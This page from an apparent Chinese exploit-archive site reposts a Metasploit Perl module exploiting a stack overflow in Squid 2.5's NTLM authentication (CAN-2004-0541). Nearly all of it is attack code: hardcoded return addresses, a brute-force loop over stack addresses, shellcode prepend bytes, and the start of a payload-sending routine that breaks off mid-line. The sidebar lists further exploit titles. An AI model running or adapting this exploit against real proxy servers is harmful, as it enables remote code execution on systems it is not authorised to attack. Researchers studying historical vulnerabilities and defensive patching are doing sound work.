首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Squid STABLE NTLM authenticate Remote Exploit
来源:vfocus.net 作者:vfocus 发布时间:2004-06-14  

Squid <= 2.5.*-STABLE NTLM authenticate Remote Overflow Exploit


##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::squid_ntlm_authenticate;

use strict;
use base "Msf::Exploit";

my $advanced =
{
'StackBottom' => [ '0xbfffcfbc', 'Start address for stack ret.' ],
'StackTop' => [ '0xbffffffc', 'Stop address for stack ret.' ],
'StackStep' => [ 0, 'Number of bytes to increment between steps.'],
'BruteWait' => [ 15, "Length of time to wait between brutes. " .
"15 is recommend as squid has a failure " .
"count tracker to exit on many segvs" ],
};

my $info =
{
'Name' => 'Squid NTLM Authenticate Overflow',
'Version' => '$Revision: 1.7.2.2 $',
'Authors' =>
[
'skape <mmiller [at] hick.org>'
],
'Description' =>
qq{
This is an exploit for Squid's NTLM authenticate overflow (libntlmssp.c).
Due to improper bounds checking in ntlm_check_auth, it is possible to
overflow the 'pass' variable on the stack with user controlled data of
a user defined length. Props to iDEFENSE for the advisory.
},
'Arch' => [ 'x86' ],
'OS' => [ 'linux' ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [ 1, 'ADDR', 'The target proxy server address' ],
'RPORT' => [ 1, 'PORT', 'The target proxy server port' ],
},
'Payload' =>
{
'Space' => 300 - 44, # can be more, but requires code mod
'MinNops' => 16,
'PrependEncoder' => "\x83\xec\x7f", # sub $0x7f, %esp
'Prepend' => "\x31\xc9\xf7\xe1\x8d\x58\x0e" . # signal(SIGALRM, SIG_IGN)
"\xb0\x30\x41\xcd\x80",
},
'Refs' =>
[
'http://www.idefense.com/application/poi/display?id=107',
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0541',
],
'DefaultTarget' => -1,
'Targets' =>
[
[ 'Brute force', 0x0, 0x0 ],
[ 'Squid 2.5 STABLE5 and below (Debian/Linux)', 0xbfffd48c, 0xbfffd468 ],
],
};

sub new
{
my $class = shift;
my $self;

$self = $class->SUPER::new(
{
'Info' => $info,
'Advanced' => $advanced,
},
@_);

return $self;
}

sub Exploit
{
my $self = shift;
my $targetIdx = $self->GetVar('TARGET');
my $payload = $self->GetVar('EncodedPayload');
my $shellcode = $payload->Payload;
my $target = $self->Targets->[$targetIdx];
my $ret = $target->[1];
my $valid = $target->[2];
my $s = undef;

$self->PrintLine('[*] Trying exploit target ' . $target->[0]);

if ($target->[0] eq 'Brute force')
{
my $stackTop = hex($self->GetLocal('StackTop'));
my $stackBottom = hex($self->GetLocal('StackBottom'));
my $stackStep = $self->GetLocal('StackStep');
my $wait = $self->GetLocal('BruteWait');

$stackStep = $payload->NopsLength if ($stackStep == 0);

for ($ret = $stackBottom, $valid = $stackBottom - 0x20;
$ret < $stackTop;
$ret += $stackStep, $valid += $stackStep)
{
$self->PrintLine(sprintf("[*] Trying %.8x...", $ret));

last if (defined($s = $self->transmitExploit(target => $target,
shellcode => $shellcode, ret => $ret, valid => $valid)));

sleep($wait);
}
}
else
{
$s = $self->transmitExploit(target => $target,
shellcode => $shellcode, ret => $ret, valid => $valid);
}

$self->Handler($s) if (defined($s));
}

sub transmitExploit
{
my $self = shift;
my ($target, $shellcode, $ret, $valid) = @{{@_}}{qw/target shellcode ret valid

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Subversion svn_time_from_cstri
·Toca Race Driver 1 multiple Do
·Borland Interbase 7.x and belo
·Exploit xfs command of HPUX to
·Remote exploit for Apache + Op
·Linux Kernel 2.4.x-2.6.x Local
·RedHat 8x LPRng autorooter
·Exploit stmkfont of HPUX to ge
·Colin McRae Rally DoS Exploit
·TCP Window Size RST
·Mkdir本地缓冲区溢出漏洞
·ASP版SQLSERVER注射数据表结构猜
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved